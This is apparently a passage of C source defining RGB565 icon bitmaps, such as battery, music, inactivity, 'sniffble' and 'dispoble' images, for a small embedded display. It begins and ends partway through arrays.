0x1825, 0x0000, - 0x0000, 0x1023, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, - 0x0000, 0x60F7, 0x895F, 0x1023, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x40AF, 0x50D2, 0x0000, - 0x0000, 0x58D4, 0xA19F, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0xA9BF, 0x1846, 0x0000, - 0x0000, 0x0000, 0x388E, 0xA9BF, 0x40AF, 0x0802, 0x0802, 0x408E, 0xA99F, 0x40AF, 0x0000, 0x0000, - 0x0000, 0x0000, 0x0000, 0x1825, 0x791B, 0xA19F, 0xA19F, 0x793B, 0x1846, 0x0000, 0x0000, 0x0000, - 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0020 - }; - - - const unsigned short bat_main[144] = { - - 0x0020, 0x0020, 0x0020, 0x0000, 0x40AF, 0x48D1, 0x48D1, 0x40AE, 0x0000, 0x0020, 0x0020, 0x0841, - 0x0000, 0x0000, 0x0803, 0x58D5, 0x306B, 0x0000, 0x0000, 0x306B, 0x58D5, 0x0802, 0x0000, 0x0000, - 0x0000, 0x0000, 0x40AF, 0x2048, 0x50D2, 0x50D3, 0x50D3, 0x50D2, 0x2048, 0x40AF, 0x0000, 0x0000, - 0x0000, 0x0000, 0x388D, 0x60F6, 0xA19F, 0x997F, 0x997F, 0xA19F, 0x58F5, 0x388D, 0x0000, 0x0000, - 0x0000, 0x0000, 0x40AF, 0x1023, 0x1825, 0x1825, 0x1825, 0x1825, 0x1024, 0x40AE, 0x0000, 0x0000, - 0x0000, 0x0000, 0x408F, 0x2048, 0x388E, 0x388D, 0x388D, 0x388E, 0x2049, 0x388E, 0x0000, 0x0000, - 0x0000, 0x0000, 0x388D, 0x60F6, 0xA19F, 0xA19F, 0xA19F, 0xA19F, 0x58F5, 0x388D, 0x0000, 0x0000, - 0x0000, 0x0000, 0x408F, 0x1825, 0x2869, 0x2048, 0x2048, 0x2869, 0x1846, 0x408E, 0x0000, 0x0000, - 0x0000, 0x0000, 0x40AF, 0x1023, 0x1025, 0x1025, 0x1025, 0x1025, 0x1024, 0x40AE, 0x0000, 0x0000, - 0x0000, 0x0000, 0x388E, 0x60F5, 0xA19F, 0x997F, 0x997F, 0xA19F, 0x58D4, 0x388D, 0x0000, 0x0000, - 0x0000, 0x0000, 0x308C, 0x48B0, 0x50D3, 0x50D3, 0x50D3, 0x50D3, 0x48B0, 0x306B, 0x0000, 0x0000, - 0x0000, 0x0000, 0x0000, 0x308A, 0x308B, 0x308B, 0x308B, 0x308B, 0x308A, 0x0000, 0x0000, 0x0020 - }; - - - const unsigned short conf_main[576] = { - - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0801,0x0000,0x0000,0x0000,0x0000,0x0802,0x0000,0x0000,0x0000,0x0000,0x0802,0x0000,0x0000,0x0000,0x0000,0x0801,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x388C,0x60F6,0x0802,0x0000,0x0000,0x2048,0x68F7,0x1024,0x0000,0x0000,0x1024,0x68F7,0x2068,0x0000,0x0000,0x0802,0x60F5,0x388C,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48B1,0x793C,0x1023,0x0000,0x0000,0x308C,0x815E,0x1846,0x0000,0x0000,0x1846,0x815E,0x308C,0x0000,0x0000,0x1023,0x793C,0x48B1,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48B0,0x793C,0x1023,0x0000,0x0000,0x308C,0x815E,0x1846,0x0000,0x0000,0x1846,0x815E,0x308C,0x0000,0x0000,0x1023,0x793C,0x48B0,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48B0,0x793C,0x1023,0x0000,0x0000,0x308C,0x815E,0x1846,0x0000,0x0000,0x1846,0x815E,0x308C,0x0000,0x0000,0x1023,0x793C,0x48B0,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48B0,0x793C,0x1023,0x0000,0x0000,0x308C,0x815E,0x1846,0x0000,0x0000,0x1846,0x815E,0x308C,0x0000,0x0000,0x1023,0x793C,0x48B0,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48B0,0x793C,0x1023,0x0000,0x0000,0x308C,0x815E,0x1846,0x0000,0x0000,0x1846,0x815E,0x308C,0x0000,0x0000,0x1023,0x793C,0x48B0,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48B0,0x793C,0x1023,0x0000,0x0000,0x308C,0x815E,0x1846,0x0000,0x0000,0x1846,0x815E,0x308C,0x0000,0x0000,0x1023,0x793C,0x48B0,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48B0,0x793C,0x1023,0x0000,0x0000,0x308C,0x815E,0x1846,0x0000,0x0000,0x1846,0x815E,0x308C,0x0000,0x0000,0x1023,0x793C,0x48B0,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x48B0,0x793C,0x0823,0x0000,0x0000,0x308C,0x815E,0x1846,0x0000,0x0000,0x1846,0x815E,0x308C,0x0000,0x0000,0x0823,0x793C,0x48B0,0x0000,0x0000,0x0000, - 0x0000,0x0001,0x1845,0x50D2,0x793C,0x2048,0x1023,0x1025,0x408E,0x815E,0x286A,0x1024,0x1024,0x286A,0x815E,0x408E,0x1024,0x1023,0x2048,0x793C,0x50D2,0x1846,0x0001,0x0000, - 0x0000,0x0001,0x408E,0x50D2,0x6918,0x40AF,0x2047,0x308C,0x48B1,0x7119,0x48B0,0x286A,0x2869,0x48B0,0x7119,0x48B1,0x308C,0x2047,0x40AF,0x6918,0x50D2,0x40AE,0x0801,0x0000, - 0x0000,0x0822,0x50D2,0x60F6,0x60F7,0x58F5,0x286A,0x40AF,0x60F6,0x68F7,0x60F5,0x388C,0x388C,0x60F5,0x68F7,0x60F6,0x40AF,0x286A,0x58F5,0x60F7,0x60F6,0x50D2,0x0822,0x0000, - 0x0000,0x1024,0x793C,0x895F,0x895F,0x895F,0x40AF,0x6919,0x895F,0x895F,0x915F,0x58D4,0x58D4,0x915F,0x895F,0x895F,0x68F7,0x48B0,0x915F,0x895F,0x895F,0x793C,0x1024,0x0000, - 0x0000,0x1024,0x793C,0x60F6,0x388D,0x815E,0x40AF,0x6919,0x7119,0x308C,0x813D,0x58D4,0x58D4,0x813D,0x308C,0x7119,0x68F7,0x48B0,0x895E,0x388D,0x60F6,0x793C,0x1024,0x0000, - 0x0000,0x1024,0x793C,0x6918,0x50D2,0x895E,0x40AF,0x6919,0x793B,0x48B1,0x815E,0x58D4,0x58D4,0x815E,0x48B1,0x793B,0x68F7,0x48B0,0x895F,0x50D2,0x6918,0x793C,0x1024,0x0000, - 0x0000,0x1024,0x793C,0x895F,0x895F,0x895F,0x40AF,0x6918,0x895F,0x895F,0x895F,0x50D3,0x50D3,0x895F,0x895F,0x895F,0x60F7,0x48B0,0x895F,0x895F,0x895F,0x793C,0x1024,0x0000, - 0x0000,0x1024,0x793C,0x895F,0x895F,0x895F,0x40AF,0x6919,0x895F,0x895F,0x915F,0x58D4,0x58D4,0x915F,0x895F,0x915F,0x68F7,0x48B0,0x895F,0x895F,0x895F,0x793C,0x1024,0x0000, - 0x0000,0x1023,0x68F7,0x713B,0x711A,0x711A,0x388D,0x58F4,0x713B,0x711A,0x793B,0x48B0,0x48B0,0x793B,0x711A,0x793B,0x50D3,0x388D,0x713B,0x711A,0x713B,0x68F7,0x1023,0x0000, - 0x0000,0x0000,0x0822,0x0823,0x0823,0x0823,0x0001,0x0802,0x0823,0x0823,0x0823,0x0801,0x0801,0x0823,0x0823,0x0823,0x0802,0x0001,0x0823,0x0823,0x0823,0x0822,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - -const uint16_t Music[576] = { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x58D4,0x895F,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x6919,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x793D,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x0001,0x2869,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388C,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x1846,0x895F,0x40B0,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0001,0x2047,0x0000,0x48B1,0x895F,0x2048,0x0000,0x0000, -0x0000,0x0801,0x306B,0x388C,0x388C,0x388C,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x2048,0x895F,0x388D,0x0000,0x711A,0x711A,0x0000,0x0000, -0x0000,0x68F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x58D4,0x815E,0x0823,0x2869,0x895F,0x2048,0x0000, -0x0000,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0802,0x815E,0x48B1,0x0000,0x813D,0x50D2,0x0000, -0x0000,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x58F5,0x711A,0x0000,0x60F6,0x6918,0x0000, -0x0000,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x40AF,0x815E,0x0000,0x50D2,0x793B,0x0000, -0x0000,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x40B0,0x815E,0x0000,0x50D2,0x793B,0x0000, -0x0000,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x58F5,0x711A,0x0000,0x60F6,0x6918,0x0000, -0x0000,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0822,0x815E,0x48B1,0x0000,0x813D,0x48D2,0x0000, -0x0000,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x58F5,0x815E,0x0823,0x2869,0x895F,0x2048,0x0000, -0x0000,0x0801,0x306B,0x388C,0x388C,0x388C,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x2048,0x895F,0x388C,0x0000,0x711A,0x711A,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0001,0x2047,0x0000,0x48B1,0x895F,0x2048,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388C,0x895F,0x895F,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x1846,0x895F,0x40AF,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2047,0x793D,0x895F,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x0001,0x2869,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x6919,0x895F,0x895F,0x1845,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x58D4,0x895F,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - -const uint16_t inatividade[576] = { -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0823,0x815E,0x895F,0x895F,0x895F,0x6919,0x0000,0x50D3,0x813D,0x895F,0x895F,0x793C,0x60F7,0x388D,0x0823,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x1025,0x895F,0x895F,0x895F,0x895F,0x793C,0x0000,0x7119,0x895F,0x815E,0x815E,0x895F,0x895F,0x895F,0x815E,0x48B0,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x1025,0x895F,0x895F,0x895F,0x895F,0x793C,0x0000,0x1846,0x0001,0x0000,0x0000,0x0001,0x2869,0x58D4,0x895F,0x895F,0x711A,0x1024,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x1025,0x895F,0x895F,0x895F,0x895F,0x793C,0x0000,0x0000,0x2048,0x6918,0x6918,0x58D4,0x306B,0x0001,0x1024,0x6918,0x895F,0x813D,0x1024,0x0000,0x0000,0x0000, -0x0000,0x60F6,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x7119,0x40B0,0x0000,0x895F,0x895F,0x895F,0x895F,0x793C,0x306B,0x0000,0x58F5,0x895F,0x711A,0x0001,0x0000,0x0000, -0x0000,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x388D,0x0823,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0000,0x6918,0x895F,0x48B0,0x0000,0x0000, -0x0000,0x0001,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x60F6,0x6918,0x68F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x306A,0x1025,0x895F,0x815E,0x0823,0x0000, -0x0000,0x0000,0x1025,0x815E,0x895F,0x895F,0x895F,0x711A,0x0001,0x40AF,0x895F,0x306B,0x306B,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x0001,0x58D4,0x895F,0x388D,0x0000, -0x0000,0x58D4,0x0823,0x286A,0x895F,0x895F,0x813D,0x1024,0x2048,0x895F,0x895F,0x306B,0x306B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x306B,0x2869,0x895F,0x60F7,0x0000, -0x0000,0x813D,0x6918,0x0000,0x48B1,0x895F,0x2869,0x1024,0x813D,0x895F,0x6918,0x0823,0x0823,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0801,0x895F,0x793C,0x0000, -0x0000,0x895F,0x813D,0x0000,0x0000,0x1024,0x0001,0x711A,0x895F,0x895F,0x1825,0x2869,0x2869,0x0823,0x286A,0x286A,0x6918,0x895F,0x895F,0x6918,0x0000,0x815E,0x895F,0x0000, -0x0000,0x895F,0x815E,0x0000,0x40AE,0x40AF,0x711A,0x895F,0x895F,0x895F,0x1845,0x2869,0x2869,0x0823,0x388C,0x388C,0x6918,0x895F,0x895F,0x6918,0x0000,0x815E,0x895F,0x0000, -0x0000,0x793C,0x895F,0x0801,0x58D4,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x1825,0x1025,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0801,0x895F,0x793C,0x0000, -0x0000,0x60F7,0x895F,0x2869,0x306B,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x306B,0x2869,0x895F,0x60F7,0x0000, -0x0000,0x388D,0x895F,0x58D4,0x0001,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x0001,0x58D4,0x895F,0x388D,0x0000, -0x0000,0x0822,0x815E,0x895F,0x1025,0x286A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x286A,0x1025,0x895F,0x815E,0x0822,0x0000, -0x0000,0x0000,0x48B0,0x895F,0x6918,0x0000,0x40AF,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x40AF,0x0001,0x6918,0x895F,0x48B0,0x0000,0x0000, -0x0000,0x0000,0x0001,0x711A,0x895F,0x58F5,0x0000,0x286A,0x793C,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x286A,0x0001,0x58F5,0x895F,0x711A,0x0001,0x0000,0x0000, -0x0000,0x0000,0x0000,0x1024,0x813D,0x895F,0x6918,0x1025,0x0001,0x306B,0x58D4,0x6918,0x6918,0x58D4,0x306B,0x0001,0x1025,0x6918,0x895F,0x813D,0x1024,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x1024,0x711A,0x895F,0x895F,0x58D4,0x2869,0x0801,0x0000,0x0000,0x0801,0x2869,0x58D4,0x895F,0x895F,0x711A,0x1024,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x48B0,0x815E,0x895F,0x895F,0x895F,0x815E,0x815E,0x895F,0x895F,0x895F,0x815E,0x48B0,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x388D,0x60F6,0x793C,0x895F,0x895F,0x793C,0x60F6,0x388D,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, -0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 -}; - - - - - - - - const unsigned short high_main[144] = { - - - 0x0020, 0x0020, 0x0000, 0x0000, 0x0020, 0x0020, 0x0020, 0x0020, 0x0000, 0x0000, 0x0020, 0x0841, - 0x0000, 0x0000, 0x793D, 0x388E, 0x0000, 0x0000, 0x0000, 0x0000, 0x408E, 0x793C, 0x0000, 0x0000, - 0x0000, 0x0000, 0x997F, 0x997F, 0x895F, 0x2869, 0x2869, 0x915F, 0x997F, 0x997F, 0x0000, 0x0000, - 0x0000, 0x0000, 0x711A, 0x915F, 0x895F, 0x917F, 0x917F, 0x895F, 0x915F, 0x7119, 0x0000, 0x0000, - 0x0000, 0x0000, 0x0802, 0x815E, 0x895F, 0x895F, 0x895F, 0x895F, 0x815E, 0x0801, 0x0000, 0x0000, - 0x0000, 0x0000, 0x997F, 0x895F, 0x895F, 0x6919, 0x6919, 0x895F, 0x895F, 0x997F, 0x0000, 0x0000, - 0x0000, 0x0000, 0x997F, 0x895F, 0x915F, 0x58D5, 0x58F5, 0x915F, 0x895F, 0x997F, 0x0000, 0x0000, - 0x0000, 0x0000, 0x1825, 0x813E, 0x895F, 0x915F, 0x915F, 0x895F, 0x813E, 0x1825, 0x0000, 0x0000, - 0x0000, 0x0000, 0x58F5, 0x917F, 0x895F, 0x917F, 0x917F, 0x895F, 0x917F, 0x58D5, 0x0000, 0x0000, - 0x0000, 0x0000, 0x997F, 0x917F, 0x997F, 0x388D, 0x388D, 0x997F, 0x917F, 0x997F, 0x0000, 0x0000, - 0x0000, 0x0000, 0x915F, 0x50B2, 0x0000, 0x0000, 0x0000, 0x0000, 0x50D2, 0x895F, 0x0000, 0x0000, - 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0020 - }; - - const unsigned short sniffble[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0823,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1024,0x40B0,0x6918,0x793B,0x711A,0x58F5,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x60F7,0x2048,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x2047,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x48B0,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x58D4,0x793B,0x2047,0x0000,0x0000,0x0000, - 0x0000,0x1023,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000,0x0000,0x0823,0x308C,0x0802,0x0801,0x58F5,0x6919,0x0823,0x0000,0x0000, - 0x0000,0x40AF,0x895F,0x895F,0x895F,0x793C,0x308C,0x60F6,0x895F,0x895F,0x895F,0x713B,0x1023,0x0000,0x0000,0x1825,0x793B,0x50D3,0x0001,0x1024,0x711A,0x48B0,0x0000,0x0000, - 0x0001,0x68F7,0x895F,0x895F,0x895F,0x711A,0x0802,0x0822,0x58F5,0x895F,0x895F,0x895F,0x286A,0x0000,0x0823,0x0000,0x2068,0x793C,0x408E,0x0000,0x388D,0x793B,0x1024,0x0000, - 0x0823,0x711A,0x895F,0x895F,0x815E,0x711A,0x0823,0x2047,0x1023,0x50D3,0x895F,0x895F,0x388D,0x1846,0x6919,0x2869,0x0000,0x40AF,0x793B,0x1024,0x0823,0x713B,0x388D,0x0000, - 0x0823,0x711A,0x895F,0x6918,0x2869,0x58D4,0x1024,0x58D4,0x1846,0x1845,0x813D,0x895F,0x388D,0x0001,0x50D3,0x711A,0x1023,0x0823,0x793B,0x388D,0x0000,0x58D4,0x58D4,0x0000, - 0x0823,0x711A,0x895F,0x793C,0x2869,0x0822,0x0001,0x1025,0x1024,0x60F6,0x895F,0x895F,0x388D,0x0000,0x1024,0x793B,0x388D,0x0000,0x58F5,0x58D4,0x0000,0x40AF,0x6919,0x0801, - 0x0823,0x711A,0x895F,0x895F,0x793C,0x2048,0x0000,0x1024,0x6918,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000,0x60F6,0x50D3,0x0000,0x48B1,0x60F7,0x0000,0x308C,0x711A,0x0823, - 0x0823,0x711A,0x895F,0x895F,0x793C,0x2048,0x0000,0x1024,0x6918,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000,0x60F6,0x50D2,0x0000,0x48B1,0x60F7,0x0000,0x308C,0x711A,0x0823, - 0x0823,0x711A,0x895F,0x793C,0x2869,0x0822,0x0001,0x1025,0x1024,0x60F6,0x895F,0x895F,0x388D,0x0000,0x1024,0x793B,0x388C,0x0000,0x58F5,0x58D4,0x0000,0x40AF,0x6918,0x0801, - 0x0823,0x711A,0x895F,0x6918,0x2869,0x58D4,0x1024,0x58D4,0x1846,0x1845,0x813D,0x895F,0x388D,0x0001,0x58D4,0x711A,0x0823,0x1023,0x793B,0x388C,0x0000,0x58F5,0x58D4,0x0000, - 0x0823,0x711A,0x895F,0x895F,0x815E,0x711A,0x0823,0x2047,0x1023,0x50D3,0x895F,0x895F,0x388D,0x1846,0x6919,0x2068,0x0000,0x40AF,0x713B,0x1023,0x1023,0x793B,0x388C,0x0000, - 0x0001,0x68F7,0x895F,0x895F,0x895F,0x711A,0x0802,0x0822,0x58F5,0x895F,0x895F,0x895F,0x286A,0x0000,0x0802,0x0000,0x2869,0x793C,0x388D,0x0000,0x388E,0x793B,0x1024,0x0000, - 0x0000,0x40AF,0x895F,0x895F,0x895F,0x793C,0x308C,0x60F7,0x895F,0x895F,0x895F,0x713B,0x1023,0x0000,0x0000,0x1846,0x793B,0x50D3,0x0000,0x1024,0x713B,0x40B0,0x0000,0x0000, - 0x0000,0x1023,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000,0x0000,0x1023,0x308B,0x0001,0x0802,0x60F6,0x6918,0x0823,0x0000,0x0000, - 0x0000,0x0000,0x2047,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x48B0,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x58F5,0x793B,0x1847,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1024,0x40B0,0x6918,0x793B,0x711A,0x58F5,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1847,0x60F7,0x2047,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0823,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - const unsigned short dispoble[576] = { - - 0x0000,0x0000,0x0823,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1846,0x1024,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x286A,0x711A,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x793B,0x40AF,0x0000,0x0000,0x0000, - 0x0823,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2047,0x0000,0x0000, - 0x1846,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x306B,0x0000,0x0000, - 0x1846,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793B,0x6918,0x68F7,0x68F7,0x68F7,0x68F7,0x68F7,0x68F7,0x68F7,0x6918,0x2869,0x0000,0x0000, - 